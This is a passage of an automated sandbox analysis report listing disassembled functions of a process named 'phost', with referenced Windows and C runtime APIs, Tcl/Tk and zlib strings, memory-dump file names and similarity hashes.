String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: 4736c4785d45458d7ecd6ca510b826146a83199af77a7766b131d2ddab09aa15
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: 9702B270B0DB0BA1FE269B5DAD245B423B4BF44B79B44A031D41E862A4EF3CB559D313

Function 00007FF62CC9411C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF62CC9416A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC947D6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC9494C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC94C0A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC94E2A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC95067
memcpy_s.LIBCPMT ref: 00007FF62CC95142
memcpy_s.LIBCPMT ref: 00007FF62CC951ED
memcpy_s.LIBCPMT ref: 00007FF62CC952BC

Strings

1#IND, xrefs: 00007FF62CC94257
1#SNAN, xrefs: 00007FF62CC9427A
1#INF, xrefs: 00007FF62CC94293
1#QNAN, xrefs: 00007FF62CC94283

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction ID: 88decd72be5a7f46fe74429af4287eed30f21bb7dfc91fc8adaa3edcf3b7fe1f
Opcode Fuzzy Hash: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction Fuzzy Hash: 08B2A072B182928BEB65CF68D8407FD77B1FB543A8F509235DA0D97A84DF38A901CB41

Function 00007FF62CC7AD1D Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

too many length or distance symbols, xrefs: 00007FF62CC7AEB6
invalid code lengths set, xrefs: 00007FF62CC7AE9D
invalid distance too far back, xrefs: 00007FF62CC7B6E0
invalid code -- missing end-of-block, xrefs: 00007FF62CC7B136
invalid literal/lengths set, xrefs: 00007FF62CC7B1A3
invalid bit length repeat, xrefs: 00007FF62CC7B109
invalid distances set, xrefs: 00007FF62CC7B210
invalid literal/length code, xrefs: 00007FF62CC7B452
invalid distance code, xrefs: 00007FF62CC7B624

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction ID: 8ae60b9cd473ee91f08f1894026c8253c6b1e8ae1a9b9d77db61fce0dabcc128
Opcode Fuzzy Hash: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction Fuzzy Hash: 8652B272B146A68BDB948F19D858A7E3BBDFB44350F015139E64A8B780DF3CD848DB41

Function 00007FF62CC7D19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF62CC7D1B8
RtlCaptureContext.KERNEL32 ref: 00007FF62CC7D1E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF62CC7D1FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF62CC7D240
IsDebuggerPresent.KERNEL32 ref: 00007FF62CC7D294
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF62CC7D2B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF62CC7D2BC

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction ID: 71f7a122e9ad5b139c7a8b68dfae2a2dceba75c274ea0a3382f9664722fbecd4
Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction Fuzzy Hash: 84311A72708A819AEB608F64E8903FE7374FB84758F44443ADA4E87B99EF38D548C711

Function 00007FF62CC95C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF62CC95CB5

Part of subcall function 00007FF62CC95608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC9561C

Part of subcall function 00007FF62CC8A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9CE
Part of subcall function 00007FF62CC8A9B8: GetLastError.KERNEL32(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9D8

Part of subcall function 00007FF62CC8A970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF62CC8A94F,?,?,?,?,?,00007FF62CC8A83A), ref: 00007FF62CC8A979
Part of subcall function 00007FF62CC8A970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF62CC8A94F,?,?,?,?,?,00007FF62CC8A83A), ref: 00007FF62CC8A99E

_get_daylight.LIBCMT ref: 00007FF62CC95CA4

Part of subcall function 00007FF62CC95668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC9567C

_get_daylight.LIBCMT ref: 00007FF62CC95F1A
_get_daylight.LIBCMT ref: 00007FF62CC95F2B
_get_daylight.LIBCMT ref: 00007FF62CC95F3C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF62CC9617C), ref: 00007FF62CC95F63

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction ID: 9eda81bfe8b24ce5f2da52320179c538b1a0f439762d8ccea2f71c5f12eab25b
Opcode Fuzzy Hash: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction Fuzzy Hash: 7ED1C162F0865286EF20AF2ADC515B96771EF847A8F44C236EA0DC7696DF3CE4418742

Function 00007FF62CC8A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF62CC8A6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF62CC8A715
RtlVirtualUnwind.KERNEL32 ref: 00007FF62CC8A750
IsDebuggerPresent.KERNEL32 ref: 00007FF62CC8A789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF62CC8A793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF62CC8A79E

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction ID: cf4ca272f6a914803da853a19940e15fae5bc9d9ed0e1b6bf7f070c433a74314
Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction Fuzzy Hash: 98315132718F8196EB608F29EC506AE73B4FB84768F544135EA8D87B54DF3CC1458B01

Function 00007FF62CC918E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC91930
FindFirstFileExW.KERNEL32 ref: 00007FF62CC91A3A

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction ID: 9fd4ae548ac1ef3df7c51d4114e7dfce83ccbd1a0ccab4bef7e6d245794e04f3
Opcode Fuzzy Hash: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction Fuzzy Hash: A1B1D662B1C69241EE619B2ADC015BA63B1EB45BF8F448131EE5D87BD5EF3CE441C302

Function 00007FF62CC95EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF62CC95F1A

Part of subcall function 00007FF62CC95668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC9567C

_get_daylight.LIBCMT ref: 00007FF62CC95F2B

Part of subcall function 00007FF62CC95608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC9561C

_get_daylight.LIBCMT ref: 00007FF62CC95F3C

Part of subcall function 00007FF62CC95638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC9564C

Part of subcall function 00007FF62CC8A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9CE
Part of subcall function 00007FF62CC8A9B8: GetLastError.KERNEL32(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9D8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF62CC9617C), ref: 00007FF62CC95F63

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction ID: 487cc8da38f35d392e169b1bd9d713813a4fca92cb90ad373c67ccca4ad9a43b
Opcode Fuzzy Hash: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
Instruction Fuzzy Hash: 6351A272B0864296EB20EF29DC815B96770FF487A8F449235EA4DC7796DF3CE4418742

Function 00007FF62CC7D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF62CC7D0AC
GetCurrentThreadId.KERNEL32 ref: 00007FF62CC7D0BA
GetCurrentProcessId.KERNEL32 ref: 00007FF62CC7D0C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF62CC7D0D6

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction ID: 30a86eb453e76a9721887be65965a5b17c55db779209dd1300800f92d1fe55ff
Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction Fuzzy Hash: 7F113A32B14F058AEF008F65EC542B933B4FB59B68F040E35DA6D867A4DF38D1658342

Function 00007FF62CC93C80 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF62CC93CE6
memcpy_s.LIBCPMT ref: 00007FF62CC93D11

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 9884e701688017cce5f759390f4ae9081b35bddc6a916db2beede986e1fd9a04
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: A3C1C072B1868687EB24CF19A44467AB7A1F794B98F449135DB4E83784DF3DE801CB40

Function 00007FF62CC7A4E4 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 00007FF62CC7A991
unknown header flags set, xrefs: 00007FF62CC7A535
, xrefs: 00007FF62CC7A5CB

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction ID: 9b7c91d07ba56573fa82d877dccee9dbdd5dab4abfcfb21b135deb64a53aecd9
Opcode Fuzzy Hash: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction Fuzzy Hash: 18F19172B582C58BEBA58F1D8C88B3A3ABDEF44760F055538DA498B390CF38D949D741

Function 00007FF62CC99798 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF62CC999E7
RaiseException.KERNEL32 ref: 00007FF62CC999F8

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction ID: 8f2ab1184367e3b344c4831637e4a9b847959ce708a5af8493890a8ff7b51690
Opcode Fuzzy Hash: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction Fuzzy Hash: 4FB11573A04B898AEB198F2DC8863687BB0F784B6CF19C925DA5D837A4CF39D451C701

Function 00007FF62CC83A14 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF62CC83DC4
, xrefs: 00007FF62CC83B82

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction ID: 5cbca36b0ded584e0db3335e8b02d8e2f90d423ae5fb83d6b445af7960f6a7ce
Opcode Fuzzy Hash: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction Fuzzy Hash: 76E19476B1864681EF6A8E2D885097A33B0FF45FE4F186335DA4E87694DF29E841C702

Function 00007FF62CC7A34B Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

incorrect header check, xrefs: 00007FF62CC7A4CB
invalid window size, xrefs: 00007FF62CC7A4B2

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction ID: 6286b607bcdfcaa834106af2a137d62efbb1132cf917ec4d7b21707be0d513e7
Opcode Fuzzy Hash: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction Fuzzy Hash: 7C918772B182C647EBA48F19C858B3E3ABDFB44360F115139DA5A8A7C0CF38E544DB41

Function 00007FF62CC8DF60 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF62CC8E0EA
e+000, xrefs: 00007FF62CC8E06D

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction ID: b3636811c3238f80ab1bc0681b2c2c3effea66ec407daa00a5a7a538f5e922e2
Opcode Fuzzy Hash: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction Fuzzy Hash: E2515866B182C186EB268E399C00B6A67A1E744BE4F48C735CB9CC7AC5CF3DE441C702

Function 00007FF62CC90938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 2d471da97334de2acf0262392bad6ca7d41a72817533bf8b70dbf69db73f0db4
Instruction ID: 12439d3948b566193bfb97e25fb1f96624917a200caaee01c36236ff8a297f8d
Opcode Fuzzy Hash: 2d471da97334de2acf0262392bad6ca7d41a72817533bf8b70dbf69db73f0db4
Instruction Fuzzy Hash: 2002DF22F2D65240FE66AB5D9C0527A26B0AF09BB8F45C634ED5DC63D2DE3CE4418382

Function 00007FF62CC8DACC Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF62CC8DE0E

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
